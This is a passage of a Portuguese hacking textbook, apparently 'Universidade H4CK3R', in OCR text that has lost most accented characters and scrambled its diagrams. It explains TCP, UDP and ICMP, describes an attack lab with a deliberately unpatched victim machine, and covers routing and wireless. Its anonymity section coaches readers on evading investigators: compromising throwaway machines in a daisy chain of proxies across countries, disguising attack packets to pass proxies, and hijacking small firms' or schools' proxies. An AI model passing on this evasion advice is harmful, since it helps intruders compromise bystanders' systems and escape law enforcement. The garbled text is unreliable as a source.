Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp,
UDP ou ICMP trocados entre os programas que querem se conectar. Apenas
para referncia rpida, os sinais so estes, na ordem como aparecem nos flags:
~ URG (urgent) - Sina1izadorde urgncia;
~ ACK (acknowledge) -Indica que os pacotes anteriores foram aceitos no destino;
~ PSH (Push) - Um tipo de "vlvula de descarga" ,acelera a transmisso para poder finaliz-Ia;
~ RST(reset) - Interrompe a conexo, devido a erros ou "queda de linha";
~ SYN(synchronize) - Tentativa de sincronizao entre portas;
~ FIN (finish) -Finalizador de conexo, usado no fim da transmisso (no h mais dados);
Semos flags de controle, nenhuma conexo pode ser estabelecida ou mantida.
Para isso, o protocolo TCP-IP se utiliza de um handshake bsico de trs etapas,
que abre a sesso de comunicao e sincroniza entre as duas portas os nme-
ros seqenciais dos pacotes TCP. Observe:
SYN+SEOc
ACK+ SEOce SYN+ SEOs
"
ACK+SEOc
Vamos usar o exemplo mais manjado de todos: um servidorWeb. O computa-
dor cliente deseja conectar-se ao servidor e obter dele a pgina principal
index.php. O cliente envia um pacote TCP ao servidor para a porta 80 com o
flag SYNativado e com um nmero seqencial que marcar o incio da troca
de dados. Todos os pacotes que saem do cliente em direo ao servidor sero
seqncias em relao a esse primeiro, que vamos abreviar para SEQc O servi-
dor (se estiver escutando naquela porta) vai responder com dois flags ativados:
o ACK,indicando que reconheceu e aceitou o pacote enviado, e um novo SYN,
solicitando que o cliente aceite o seu nmero seqenciaI (vamos cham-Io de
SEQs)' O campo nmero de reconhecimento que vai em direo ao cliente pos-
sui o SEQc e, no campo nmero seqenciaI, SEQs' O cliente, ento, responde
com um ACK + SEQs' indicando que eles podem iniciar a transferncia de da-
dos sem problemas.
1171 I
] Redes 11
IUniversidade H4CK3RI
Como ambas as partes sabem qual o nmero seqencial do outro, fica fcil
pedir o reenvio de pacotes perdidos e ordenar os pacotes no destino. No
nem um pouco provvel que aqueles desorganizados, desordeiros e descara-
dos pacotes IP tenham resolvido passear por lugares diferentes da Internet e
chegaram no destino em uma ordem diferente da estipulada.
O que acontece quando voc, no meio do carregamento da pgina, dica no
boto Parar do seu navegador? Neste momento, o software em questo manda
um pacote TCP para o servidor com o flag FIN ligado, como quem diz "pode
parar que no quero mais brincar". O bit RST usado para derrubar conexes
problemticas, negar tentativas no autorizadas ou incompletas de conexo
(por exemplo, a uma porta que no existe) e liberar a porta em questo, se
estiver em uso.
Esta a parte mais importante de nossos estudos sobre o protocolo TCP/lp.
Os hackers usam pesadamente os flags TCP para vasculhar nossas conexes e,
dependendo das respostas que o sistema operacional retorna, calcula ou infere
se a porta est aberta ou fechada, se existe proteo por firewall ou no e se
algumas vulnerabilidades detectveis por esse processo esto presentes.
Protocolo UDP
O TCP "carne e unha" com o Ip, e juntos eles so "pau pra toda obra". A
maioria dos servios oferecidos na Internet baseia-se nessa dupla dinmica
(puxa, que trocadilho ruim...). Mas h um outro protocolo que pode ser consi-
derado o "amigo do peito" do IP.
H situaes em que toda a parafernlia de verificaes levadas a cabo pelo
TCP no so necessrias. Na maioria dessas situaes, elas at atrapalham.
Quando baixamos um programa da Internet ou uma msica pelo KaZaA (sem
pirataria, pessoa!!), queremos que eles estejam ntegros, de outro modo no
conseguiremos utiliz-Ios. Mas quando estamos ouvindo rdio ou vdeo pela
Internet, a ordem dos pacotes e mesmo sua confiabilidade j no so assim to
necessrias.
nesse contexto que entra em cena o User Datagram Protocol. Como o pr-
prio nome diz, o UDP um datagrama configurvel pelo usurio. Seu cabea-
lho muito simples, e cabe ao prprio programa definir as regras de conexo
e as informaes a serem trocadas entre as partes. A expresso no confivel
normalmente usada para descrev-Io, por no possuir formas de recuperao
de erros, mas isso uma mentira. O UDP serve para inmeros casos onde as
opes de estabilidade do TCP ainda so insuficientes e devem, portanto, ser
implementadas diretamente na aplicao.
O pacote UDP no possui nenhum dos campos de controle, seqncia e reco-
nhecimento, nada disso. Como no possvel estabelecer uma conexo com o
TCp' pois no h meios de fazer o hadshake, dizemos que o protocolo
1172 1
Redes 11r
Universidade 2Ano
UDP no orientado a conexo. Ou, usando o jargo anglo-informatiqus, ele
connectionless.
Voltando ao nosso streamming, um pacote UDP faltando significa uma man-
chinha qualquer na minha imagem em streamming, que passa despercebida
pela rapidez com que outra imagem colocada no lugar. J o atraso provocado
por todas as verificaes do pacote TCP tornariam o vdeo extremamente de-
sagradvel de assistir. Um pacote UDP parece-se com este:
V-se que o pacote UDP avaro em recursos de rede. Seu cabealho tem
apenas 8 bytes, em relao ao TCP que tem 20 ou mais.
Protocolo ICMP
o pessoal que desenvolveu a famlia de protocolos TCP/IP no deu ponto sem
n. Uma das coisas mais bacanas para o controle e sinalizao de eventos e pro-
blemas nas redes IP o tal do Internet Control Message Protocol. Sua funo
enviar comandos simples a interfaces de rede e roteadores para que eles faam
alguma coisa ou respondam com seu estado.Alm de ser usado automaticamete
pelas interfaces e roteadores, uma caixa de ferramentas muito interessante
para o administrador resolver problemas da rede. Hackers tambm adoram os
recursos que o ICMP oferece para descobrir a topologia de nossa rede...
O ICMP um protocolo de nvel 3 (ups, deveramos t-Io colocado antes do
TCp, no acha? Bem, achamos que, didaticamente, ele ficaria melhor aqui). O
cabealho do ICMP literalmente o mesmo do Ip, mas no campo de protoco-
los, em vez do 6 do TCP ou o 17 do UDp, colocamos 1. No campo de dados do
pacote IP inserido mais um campo de controle, o chamado ICMP Type Field,
que identifica o tipo de mensagem que o ICMP vai transportar. Esses cdigos
tambm esto definidos pelo IETF na (adivinhe...) RFC1700 e mostrados na
tabela a seguir:
1173 1
] RedesII
Porta UDPde Origem(16) T
Porta UDPde Destino(16)
Tamanhodosdados(16)
T
Checksum(16)
Dados
IUniversidade H4CK3RI
~ O Echo Reply [RFC792]
~ 1 Unassigned UBP]
~ 2 Unassigned UBP]
~ 3 Destination Unreachable [RFC792]
~ 4 Source Quench [RFC792]
~ 5 Redirect [RFC792]
~ 6 Alternate Host Address UBP]
~ 7 Unassigned UBP]
~ 8 Echo [RFC792]
~ 9 Router Advertisement [RFC1256]
~ 10 Router Se1ection [RFC1256]
~ 11 Time Exceeded [RFC792]
~ 12 Parameter Problem [RFC792]
~ 13 Timestamp [RFC792]
~ 14 Timestamp Reply [RFC792]
~ 15 Information Request [RFC792]
~ 16 Information Reply [RFC792]
~ 17 Address Mask Request [RFC950]
~ 18 Address Mask Reply [RFC950]
~ 19 Reserved (for Security) [Solo]
~ 20-29 Reserved (for Robustness Experiment) [ZSu]
~ 30 Traceroute [RFC1393]
~ 31 Datagram Conversion Error [RFC1475]
~ 32 Mobile Host Redirect [David Johnson]
~ 33 IPv6 Where-Are-You [Bill Simpson]
~ 34 IPv6 I-Am-Here [Bill Simpson]
~ 35 Mobile Registration Request [Bill Simpson]
~ 36 Mobile Registration Reply [Bill Simpson]
~ 37-255 Reserved UBP]
Os tipos de mensagens ICMP esto listados no formato:
~Valor Mensagem [Referncia].
Alguns dos tipos de mensagem precisam de parmetros para funcionar.
Outros, devolvem valores que informam o estado dos testes realizados. O campo
em que esses valores so guardados, logo aps o Service Type, chamado de Code
Byte. Alguns valores para code bytes importantes so:
11741
Redes11I
Universidade 2 Ano
3
Destination Unreachable
[RFC792]
Codes
O Net Unreachable
1 Host Unreachable
2 Protocol Unreachable
3Port Unreachable
4 Fragmentation Needed and Don't Fragment was Set
5 Source Route Failed
6 Destination Network Unknown
7 Destination Host Unknown
8 Source Host Isolated
9 Communication with Destination Network is
Administratively Prohibited
10 Communication with Destination Host is
Administratively Prohibited
11 Destination Network Unreachable for Type of Service
12 Destination Host Unreachable for Type of Service
5
Redirect
[RFC792]
Codes
O Redirect Datagram for the Network (or subnet)
1 Redirect Datagram for the Host
2 Redirect Datagram for the Type of SerVice and Network
3 Redirect Datagram for the Type of Service and Host
11 Time Exceeded
[RFC792]
Codes
O Time to Live exceeded in Transit
1 Fragment Reassembly Time Exceeded
12 Parameter Problem
[RFC792]
Codes
O Pointer indicates the error
1 Missing a Required Option
2 Bad Length
[RFC1108]
Procure as RFCs indicadas e estude o significado de cada um dos sinais e
cdigos. Vale a pena!
1175 1
I RedesII
IUniversidade H4CK3R I
Laboratrio de Redes 11
No captulo Redes I dtamos os equipamentos utilizadospara a montagem de uma
rede simples com dois computadores, usando um cabo de conexo cruzada, nor-
malmente apelidado de "cabo cross". Nosso fOcoprindpa1 era a montagem de uma
rede domstica, sem o uso de equipamentos mais complexos como os hubs, bridges,
switches e roteadores, embora tenhamos visto algumas definies desses aparelhos.
Para a realizao de muitas das experincias sugeridas nos captulos a seguir, te-
mos de preparar uma rede de testes um pouco mais elaborada. Ela deve ser, obvia-
mente, isolada de sua rede de produo mas deve ter alguma ligao com a Internet.
As vantagens de ter um ambiente controlado para fazer seus testes so bvias:
~ No h perigo de danificar mquinas de produo ou de uso freqente;
~ Da mesma forma, sua rede corporativa estar segura;
~ Pode-se "brincar" vontade com as ferramentas e exploits mostrados;
~ Se voc quiser ser um black hat, possvel testar os ataques antes;
~Montar uma pequena rede pode ser uma excelente higiene mental;
~ Ser possvel fazer campeonatos de Doom depois do "horrio de aula" ;-).
O hardware necessrio baratssimo. Pelo menos trs mquinas Pentium
133 ou superior, com 64 MBde RAMe 4 GBde espao em disco devem servir.
Mquinas que rodaro sistemas Unix para PC precisam de menos poder ainda
- velhos 486 ou mesmo 386 devem servir magistralmente. Cada uma das m-
quinas dever ter alguma placa de rede barata, mas que seja compatvel com
todos os sistemas operacionais que vamos usar. Essas mquinas podem ser
encontradas usadas por menos de R$ 200 cada nos "sucates" de informtica
existentes em praticamente todo o Brasil. Observe que nem todas as mquinas
precisam possuir monitores.
Para a rede, um hub tambm usado e barato deve servir. Como o desempenho
no ser problema aqui (muito pelo contrrio, quanto mais lenta a rede, me-
lhor a troca de mensagens poder ser avaliada), qualquer hub, mesmo passivo,
servir perfeitamente. Retalhos de cabos de par tranado categoria 5 ou mes-
mo 3 podero ser encontrados no lixo das empresas ou comprados baratinho
nas mesmas lojas de sucata.
Todo esse hardware ligado em rede merece bons sistemas operacionais para
trabalhar. Guarde sua mquina mais parruda e instale nela vrias verses do
Windows, em multiboot: 98 SE,Me, 2000 e XP so excelentes pedidas. Aplique
nela todos os hotI1Xes e Service Packs disponveis. Essa mquina ser usada
para originar ataques por meio de ferramentas Windows e para sofrer ataques
destinados a mquinas atualizadas dessas plataformas.
Na outra mquina, instale um Windows NT 4, um OpenBSD, um FreeBSD 4.5
e um Linux com opo de kemel2.2 e 2.4. No instale nenhum service pack ou
atualizao nela. Essa ser a "coitada".
1176 1
Redes 11[
Universidade 2 Ano
Na mquina mais fraquinha, instale as verses mais atualizadas possveis do
Linux com kernel 2.4 e OpenBSD. Ser sua origem de ataques Unix. Os Unix
enxutos para PC se do bem em mquinas antigas.
Por ltimo, vamos estabelecer uma conexo com a Internet. Uma no, quatro.
Precisamos configurar as duas mquinas seguras como gateways de uma cone-
xo de alta velocidade, portanto ambas tero duas placas de rede. O roteador
de acesso rpido poder ser "plugado" na mquina que dever prover o acesso
para aquele teste.
Como vamos brincar de War Dialers, precisamos tambm de modems de
linha discada. Cada computador dever ter o seu. O diagrama desta rede um
pouco complicada ficaria assim:
Windows Coitada
Barramento do Hub
O material necessrio , ento:
- 3 computadores Pentium 133 ou 486
com memria e disco apropriados;
- 2 modems discados;
- 5 placas de rede;
- 1 hub lOBaseT barato;
- Cabos UTP cat 3 ou melhor;
- Sistemas operacionais indicados.
Linha
Telefonica
Unix
Se forem usados cabos e placas coaxiais, ser possvel descartar o hub, mas a
rede no ser mais facilmente expansvel. Isso interessante pois, no futuro,
pode-se montar um cluster com diversos 386 adquiridos no lixo e que, juntos,
formam um supercomputador respeitvel para quebrar senhas.
Como bnus, no fim deste captulo recolhemos algumas informaes sobre
tecnologias de Internet que podem ser de interesse. apenas uma referncia
rpida: h literatura mais elaborada disponvel na Internet e em bons livros.
1177 1
] Redes II
I Universidade H4CK3R I
Roteamento
Para que o roteador possa direcionar os dados pelos diferentes caminhos
entre as redes interligadas, eles utilizam os chamados Protocolos de
Roteamento. Alm disso, os dispositivos tambm vm dotados de uma tabe-
la de roteamento, responsvel por identificar as rotas que sero seguidas
por datagramas. Caso o roteador no conhea o caminho pelo qual o
datagrama deve passar, ele o envia para um roteador listado como default
gateway (caminho padro) para de l prosseguir seu caminho.
O protocolo de roteamento age de duas formas, informando o menor
caminho, o que no significa que esse seja o melhor, ou ento informando
o melhor, que nem sempre o menor. Grande parte das vezes, o melhor
caminho o menos congestionado, uma vez que os menores podem estar
lidando com muitas requisies ao mesmo tempo. Dentre os protocolos
de roteamento, ficaremos com os ligados ao TCP/IP, que o mais utiliza-
do, falaremos do OSPF (Open Shortest Path First) e do RIP (Routing
Information Protocol).
OSPF
O OSPF um protocolo aberto que baseado no link utilizado pelo TCP/lP.
Ele capaz de testar o estado dos outros roteadores conectados por meio de
uma mensagem chamada "hello", que enviada para cada um, e se o roteador
contatado estiver funcionando ele retoma uma mensagem positiva; a falta de
resposta significa que o equipamento est fora do ar. Alm disso, tambm pos-
sui o roteamento baseado no tipo de servio, que escolhe a melhor rota para o
datagrama baseado na prioridade do datagrama em questo.
O cabealho OSPF formado por:
Verso - Verso do protocolo;
Tipo - Tipo da mensagem que pode ser: hello, descrio do banco de dados,
pedido do estado do link, atualizao do estado do link, conftrmao do estado
do link;
IP do roteador de origem - Informa o endereo IP do roteador que est
enviando a mensagem;
rea - At em que rea a mensagem se refere (no OSPF as redes podem ser
divididas em reas);
Checksum: Checksum da mensagem;
Tipo de autenticao - Informaes sobre a senha;
Autenticao - Caso haja senha.
RIP
O RIP faz com que os roteadores enviem suas tabelas de roteamento de 30
em 30 segundos para os outros roteadores, fazendo dessa forma uma atualiza-
1178 I
Redes 11 r
Universidade 2 Ano
o constante de suas tabelas baseado nas de outros roteadores. Um dos maio-
res problemas encontrados nesse protocolo que ele defme o caminho a ser
percorrido baseado na distncia at o receptor, sem levar em conta as condi-
es e desempenho da rota a ser percorrida.
As mensagens RIP possuem os seguintes elementos:
Comando - Usado para identificar se a mensagem um pedido ou uma
resposta;
Verso - Informa a verso do protocolo;
Reservado - H diversos campos marcados como reservados, e todos eles
so preenchidos com zeros;
Protocolo - Informa qual foi o protocolo utilizado para gerar o
endereamento; .
Endereo IP - Diz qual o IP da rede cuja distncia est sendo informada
atravs da mensagem;
Distncia - Informa a distncia at a rede no campo do endereo IP.
Internet
Em 1969, nascia a Internet. Essa pode ser considerada uma das histrias mais
contadas no mundo digital, mas nunca demais relembrar a origem de um dos
grandes frutos da humanidade. A inteno era ligar os laboratrios de pesquisa
norte-americanos da ARPA(Advanced Research Projects Agency), visando es-
tabilidade de todo o sistema caso algo acontecesse a um dos seus terminais.
Podemos dizer ento que mais um avano da humanidade nasceu ligado s
intenes militares, tudo por causa da guerra fria.
Aos poucos, a rede foi se expandindo para universidades e laboratrios, e
com o tempo acabou ganhando o mundo. No existe um lugar central onde a
Internet esteja localizada, so mais de 40 mil redes espalhadas ao redor do
globo, todas elas baseadas no protocolo TCP/lP. No foi toa que ele se tomou
to popular, como dissemos antes.
ARede Mundial de computadores, tambm chamada de WWW (WorldWideWeb),
formada por redes de alta capacidade, que por sua vez esto conectadas a compu-
tadores poderosos conhecidos como Backbones, com alta largura de banda.
Discutir os componentes da Internet seria como discutir o prprio protoco-
lo TCP1IP,e j que o estudamos no captulo Redes I, aconselhamos o leitor a dar
uma olhada em termos como FTp' HTTP,DNS, entre outros que l esto descri-
tos. Esses so os termos mais usados na grande Rede.
Sub-Redes
Uma rede baseada em TCP/lP pode ser dividida em redes menores para que
haja a possibilidade de criar domnios de difuso menores, e assim utilizar
melhor os recursos disponveis. Elas so conhecidas como sub-redes ou redes
1179 I
] Redes11
I Universidade H4CK3R I
segmentadas. Essas redes se utilizam apenas de um roteador IP. Sendo assim,
cada sub possui apenas uma identificao. A rede teria um nmero ftxo de IP,
como 192.168.10.0, e todas as mquinas compreendidas dentro dela teriam
IPs baseados nesse nmero, por exemplo:
IP da rede: 192.168.10.0
IPsintemos: 192.168.10.1, 192.168.10.2, 192.168.10.3...
Alm disso, as mscaras de sub-rede foram criadas para auxiliar na identifica-
o das mquinas na rede. Voc pode encontrar mais informaes sobre elas
no captulo de Redes I, em TCP1IP.
Redes Wireless
Rdio
Sistema utilizado primordialmente em redes pblicas, dada a falta de seguran-
a em suas transmisses. necessrio que antenas estejam instaladas dentro do
alcance de transmisso, mas nada impede algum (hackers, talvez) de instalar
uma antena para a captao desses dados, que, se no estiverem criptografados
adequadamente, podero ser utilizados para outros fms que no os esperados.
Uma de suas grandes vantagens que sua operao feita na freqncia de
2,4 GHz, considerada de uso pblico, e dessa forma no h necessidade de
autorizao de rgos governamentais para sua utilizao.
Uma outra forma de transmisso de dados por rdio conhecida como trans-
misso direcional. Ela feita por meio de antenas parablicas, mas estas devem
estar bem alinhadas, pois qualquer obstculo ou desvio pode comprometer
seriamente a conexo.
IEEE802.11
Foi o padro criado para sanar o problema da falta de padronizao existen-
te entre os fabricantes de tecnologia de rdio, pois no havia compatibilidade
entre os diferentes produtos, impedindo assim a comunicao entre as redes.
Ele utiliza um esquema conhecido como Carrier Sense Multiple Access with
Collision Avoidance (CSMNCA). O transmissor faz um teste inicial e logo em
seguida sincroniza as mquinas para que no haja conflitos ou colises na
transmisso dos dados.
InfravermeLho
A utilizao do infraverme1hq para a comunicao sem fto tem sua aplicao
voltada mais para redes locais.' Seu alcance est restrito a um ambiente peque-
no e totalmente sem obstculos, pois o espectro de luz no pode atravess-Ios.
1180 I
Redes11[
Universidade 2 Ano
Bluetooth
o Bluetooth considerado como uma rede sem fio de baixo custo, mas que
infelizmente possui baixo alcance. Sua propagao feita a partir de sinais de
rdio de alta freqncia e sua versatilidade permite a conexo de vrios apare-
lhos que vo desde eletrodomsticos at laptops. Essa tecnologia foi criada a
partir da iniciativa da Ericsson Mobile Communication, em 1994, para explo-
rar a capacidade da interface de rdio em seus aparelhos. Em 1998 nasceu o
SIG (Bluetooth Special Interest Group). O sistema utiliza uma freqncia de
at 2,4 GHz, com uma taxa de transmisso de aproximadamente 1 Mbps, com
distncia mxima de dez metros.
GSM
O Global System for Mobile Communications um padro para telefonia de
arquitetura aberta mvel utilizado na Europa e que j est se espalhando pelo
mundo. Ele opera na freqncia de 900 MHz, especificada pelo European
Telecommunications Standards Institute (ETSI).Atualmente, a tecnologia em-
pregada j est na sua terceira gerao, a qual veremos a seguir:
2,56
Nvel intermedirio entre a 2G e a 3G, permite a conexo de banda larga com
celulares e PDAs.Alm disso, oferece uma gama de servios que tornaram esta
tecnologia muito mais atrativa, como mensagens de texto instantneas e servi-
os de localizao.
36
Terceira gerao da tecnologia GSM. Suas aplicaes esto voltadas para o
acesso direto Internet com banda larga, transformando assim o telefone m-
vel em uma plataforma completa para a obteno de dados e servios na
Internet; alm disso, h estudos sobre sua utilizao para comrcio mvel. Isso
significa efetuar compras em mquinas automticas e lojas utilizando o apare-
lho celular. Pode operar em freqncias de 1,9 GHz a 2,1 GHz.
WiFi
WiFi a abreviatura para o termo Wireless Fidelity, da WECA (Wireless
Ethernet Compatibility Alliance), que utiliza o protocolo conhecido como IEEE
802.11b.
1181 I
] Redes I1
Vulnerabilidades
Captulo
'Ves gens esc/aves, chansons, chants &
requestes, Captifs par Princes, &
Seigneurs aux prisons. A ! advenir par
idiots sans testes,
Seront receus par divins oraisons ': i
Nostradamus, Centria I, 14a
quadra, aprox. 1555
1 Do povo escravizado, canes, cantos e perdidos/Cativos por prncipes
e lordes nas prises: / No futuro, por tais idiotas acfalos / Esses (perdidos)
sero tomados como oraes divinas.
IUniversidade H4CK3RI
medida que evolumos em nossos estudos sobre as fraquezas dos sistemas
de informao, tomamo-nos mais ousados e confiantes. Este livro, mimetizado
em curso superior, foi estruturado para que qualquer pessoa com conhecimen-
to bsico em informtica pudesse chegar a entender alguma coisa sobre segu-
rana e redes. Por isso mesmo, at aqui, o leitor foi tratado quase que como um
leigo. Para no "ofender" os leitores com conhecimentos tcnicos mais avana-
dos, colocamos no CD todas as matrias que normalmente seriam consideradas
pr-requisito para entendimento do que realmente interessa. As matrias consi-
deradas diretamente ligadas com hackerismo (invaso, engenharia social, etc.)
ficaram no livro impresso. A partir de agora, consideraremos que os conceitos
esto assimilados ("matria dada") e passaremos a tpicos mais "pesados".
Vejamos o que temos at agora. Falando diretamente sobre hackers e inva-
ses, tivemos os seguintes captulos: .
Captulo Zero - Aula Inaugural - Uma introduo ao ambiente normal-
mente chamado de hacker space ou digital underground.
Captulo 1 - Psicologia Hacker - Um pouco do modo de pensar dos ha-
bitantes desse mundo.
Captulo 5 - Fundamentos Jurdicos - Consideraes legais sobre
informtica
Captulo 6 - Engenharia Social - Obtendo informaes ANTES de ligar o
computador.
Captulo 7 -Vulnerabilidades I - Agindo como script kiddies e invadin-
do computadores pessoais.
Com tudo o que vimos at este captulo, podemos dizer que j nos igualamos
grande multido de script kiddies espalhados pelo globo. O leitor deve ter
notado que, em vez de falar de dezenas de ferramentas e explicar como cada
uma funciona, tentamos mostrar o modo como os kiddies trabalham e os locais
onde se pode encontrar tais ferramentas.
Novamente advertimos: nenhum livro, CD-ROM,FAQou site na Internet ensi-
nar algum a ser hacker. um processo que requer estudo, pacincia, persis-
tncia e abnegao. No presente captulo, veremos mais algumas tcnicas usa-
das pelos script kiddies, desta vez focando sites na Internet ou redes e sistemas
corporativos. Mas ao contrrio dos kiddies, voc saber exatamente o que est
fazendo, baseado nos conhecimentos adquiridos anteriormente. Outra coisa que
poder ser notada: ferramentas de "hacking" para Windows 9x so meros brin-
quedos. medida que as coisas vo ficando srias, apenas sistemas mais parrudos
como o Windows NT ou o Unix possuem condies de servir de base para
ataques, especialmente este ltimo.
11841
Vulnerabilidades 11[
Universidade 2 Ano
Em caso de dvida, recomendamos uma releitura dos captulos anteriores,
incluindo a execuo das experincias mostradas. O qu? Voc no fez nenhu-
ma experincia prtica? Ora! Pare a leitura do livro por aqui s volte quando
terminar a lio de casa!
Navegando anonimamente
Os proxies fazem mais do que servirem de fIrewall e cache para redes inter-
nas acessarem Internet. Um computador atrs de um proxy fIca totalmente
escondido, e seu nmero IP no revelado. Para o computador que recebe a
conexo, o IP de origem dos pacotes que chegam todo do proxy.
Se um hacker conseguir acesso a um proxy qualquer para navegar na Internet
seus passos estaro cobertos. Esse proxy pode ser um servio pblico - h .
diversos proxies pblicos na Internet, alguns gratuitos, mas a maioria paga.
Pode ser tambm algum proxy particular que esteja mal confIgurado e aceitan-
do relay de toda a Internet. Mesmo bem configurado, h falhas em alguns
softwares que permitem que hackers usem proxies alheios como escudo.
O outro lado da moeda tambm vlido. Um proxy um servio aberto em
uma porta TCP e, portanto, est sujeito a falhas. Um servio de proxy pode ser
a porta de entrada para a invaso da mquina e comprometimento de outros
servios antes "saudveis".
Proxies pblicos
Uma das formas de navegar sossegado pela Internet sem ser molestado utilizar-
se de um servidor pblico de proxy. Atrs desse servidor, seu IP fIca invisvel para
todos os sites da Internet: voc est a salvo dos vendedores de enciclopdias, dos
colecionadores de cookies e das investigaes do governo. Hackers que estejam
tentando atingi-Iotero apenas o IP do proxy. Como toda tecnologia pode tambm
ser usada para o mal, voc pode esconder-se atrs do proxy para originar ataques,
que sero registrados nos logs da vtima com um IP diferente do seu. A conexo
entre voc e o proxy pode ser criptografada com SSL- normalmente por meio de
um Secure Shell ou SSH- e a maioriados servidoresgarante que suas atividades
no sero registradas ou suas informaes redirecionadas a empresas que patroci-
nam o proxy. Parece seguro, no? Nem tanto.
Bem ou mal, o prprio proxy tem informaes a seu respeito. Mesmo que
haja proxies pblicos garantindo que voc no ser rastreado nem registrado
nos logs do servidor, alguns deles podem estar mentindo. Se voc causar algum
estrago na Internet, cedo ou tarde ser rastreado at o proxy. Basta um manda-
do judicial para que o responsvel pelo servidor abra seus registros Polcia
Federal. Ser preso seria questo de horas.
H vrias maneiras de tentar driblar esse inconveniente. A primeira uma
tcnica chamada daisy-chain proxying: invade-se um computador sem impor-
tncia, que usado para invadir um segundo, que usado para invadir um
1185 1
]Vulnerabilidades 11
IUniversidade H4CK3RI
terceiro. Entre cada um desses computadores usa-se um proxy, aumentando o
nmero de hosts intermedirios para seis ou mais e impondo uma dificuldade
extra para os investigadores, que tero de vasculhar nos registros de vrios
proxies at determinar a origem de cada um dos estgios. A vantagem desse
mtodo que independente de plataforma: voc pode usar mquinas Unix,
Windows, Mac ou qualquer outra que possua conectividade compatvel com o
servio proxy. Lembre-se de usar servidores diferentes e, preferencialmente,
geograficamel1te distantes. Se voc estiver no Brasil e quer invadir um sistema
nos Estados Unidos, seu primeiro proxy pode estar na Austrlia, o segundo no
Brasil mesmo e o terceiro na Europa. Incluir o Brasil na lista de proxies utiliza-
dos um "truque sujo" para confundir o investigador, que normalmente descar-
ta a possibilidade de o atacante estar no mesmo pas do proxy investigado
("Ningum seria to burro..."). .
Alguns endereos de proxies pblicos:
www.publicproxyservers.com/
www.stayinvisible.com/
tools.rosinstrument.com/proxy /
www.antiproxy.com/
netspy. ukrpack.net/
E, obviamente, seu buscador de Internet favorito (Google, All the Web), com
as palavras chave "public proxy", pode cuspir centenas de listas de servidores
pblicos disponveis. Instrues para configurar seu browser para utilizar um
desses servios podem ser encontradas na Ajuda dos prprios programas. Obser-
ve que h proxies para servios determinados, normalmente H1TP,Ffp e e-mail.
Se voc pretende usar um deles para um portscan ou mesmo um ataque, deve
antes disfarar os pacotes TCP/lP de seu ataque para que se paream com o
servio suportado e se passem pelo proxy.
Outra maneira de reforar o anonimato na Grande Rede, mais simples, mas
menos efetiva, usar programas que escolhem automaticamente o proxy de
uma lista e conectam-se a eles. Cada vez que o programa ativado, um servidor
escolhido aleatoriamente ou obedecendo a critrios predefinidos.Alguns mais
avanados so capazes de alternar entre proxies de tempos em tempos, pulve-
rizando os rastros. O browser deve ser configurado para acessar o programa,
que roda no endereo de loopback ("localhost" ou 127.0.0.1), e deixar que o
programa cuide de encontrar um proxy seguro.
Um bom servio pago de proxy assistido por um programa-cliente o
Anonymizer (www.anonymizer.com). A verso mais bsica do servio custava,
em maro de 2003, US$ 49,90 mais impostos, e estava disponvel apenas para
Windows. Entre os recursos oferecidos, alm do proxy aleatrio com servi-
dores pblicos, esto a criptografia de URLs, gerenciamento de cookies,
1186 I
Vulnerabilidades 11[
Universidade 2 Ano
bloqueio do web bug, apaga-
mento automtico do histri-
co de pginas visitadas e uma
barra de ferramentas para o
Internet Explorer 6.
Alm dele, podemos destacar
o Anonymity 4 Proxy (www.
inetprivacy. com/a4proxy /).
Disponvel para todas as ver-
ses do Windows, possui uma
lista muito grande de proxies
pblicos, e faz o geren-
ciamento de conexes a todos
eles. Possui diversas opes
que permitem associar zonas da Internet ou sites especficos a um ou mais
servidores de proxy, anlise do trfego e protocolos associados e
compartilhamento da conexo com uma rede local.
Outro digno de nota o Stealther, um software que oferece a possibilidade
de utilizar uma matriz de proxies pblicos para auto matizar o daisy-chain.
O Stealther pode ser encontrado em (www.photonosoftware.com/Stealther/
main. php::;?language=eng&reseller=9824).
Para a turma do Free Software existe o JAP - Java Anonymity and Privacy.
Como escrito em Java, funciona nas mais diversas plataformas que suportam
essa linguagem, incluindo Unix, Macintosh, OS/2 e Windows. O software pode
ser baixado em anon.inf.tu-dresden.de/ (o site est em alemo).
11871
]Vulnerabilidades II
I Universidade H4CK3RI
~
o pessoal do Unix no foi esquecido. O
ProxyTools (proxytools.sourceforge.net)
um conjunto de ferramentas para desktop
e servidor que tambm permite navegar
anonimamente na Internet usando proxies
annimos. Ele foi especialmente desenvol-
vido para auxiliar os internautas de pases
que aplicam a censura na Internet, como
China, Burma e os pases islmicos (e, mais
recentemente, os Estados Unidos da Amri-
ca). As ferramentas para mquinas-cliente
rodam exatamente da maneira que os. ou-
tros softwares listados acima: procuram e
encontram servidores proxy pblicos. H
ainda um daemon que pode rodar em um servidor Unix e desempenha a lm-
o de "proxy dos proxies". Dessa forma, o cliente no precisa ter nada instala-
do em seu computador, fugindo de batidas policiais e, principalmente, das
durssimas penas aplicadas aos infratores das leis de censura. Em alguns pa-
ses, essas penas podem incluir a execuo do infrator.
Outras ferramentas similares para Unix so o Bouncer (www.rOOt3d.org.uk)
e o ProxyFloppy (www.nameless.cultists.org).
Apesar de ser mais seguro que navegar de peito aberto, cuidado com os
proxies, especialmente os pblicos! Alguns so armadilhas da polcia, outros
so por natureza inseguros e pode haver, inclusive, servidores maliciosos, man-
tidos por crackers, para rastrear script kiddies e internautas incautos, visando
a us-Ios (principalmente seus IPs) como laranjas em ataques de spoofing. Por
isso mesmo, hackers experientes preferem invadir uma rede sem importncia
(pequenas empresas, escolas ou universidades) para usar seu proxy. Ou valer-
se de proxies mal configurados solta pela Internet.
Proxies privados
H diversas maneiras de invadir uma mquina rodando algum programa de proxy
e faz-Iaesconder-se da Internet. O mtodo para cada tipo de proxy depende de
sua verso e do sistema operacional no qual roda. Mas h algumas vulnerabilidades
que fimcionam em qualquer plataforma, pois so inerentes tecnologia e no
implementao da tecnologia por um determinado desenvolvedor.
Um desses casos o TCP Tunnel, uma maneira de encapsular pacotes TCP
dentro de outros para transport-Ios a salvo pela Internet. Essa tecnologia
muito usada para criar VPNs, ou redes privadas virtuais. Mas uma falha na
tecnologia pode dar a hackers espertos um proxy improvisado. Essa
vulnerabilidade realmente antiga. Veja o que diz o FAQ do software Squid
(www.squid-cache.orglDoc/FAQ/FAQ-1.html).noitem 1.12:
1188 I
Vulnerabilidades II [
Universidade 2 Ano
"Desde a verso 2.5, o Squid suporta conexes SSL e trfego "tunelado" entre
clientes e servidores. Neste caso, o Squid pode fazer um relay dos bits
criptografados entre as duas extremidades da conexo.
Normalmente, quando seu browser encontra uma URL https, executa uma
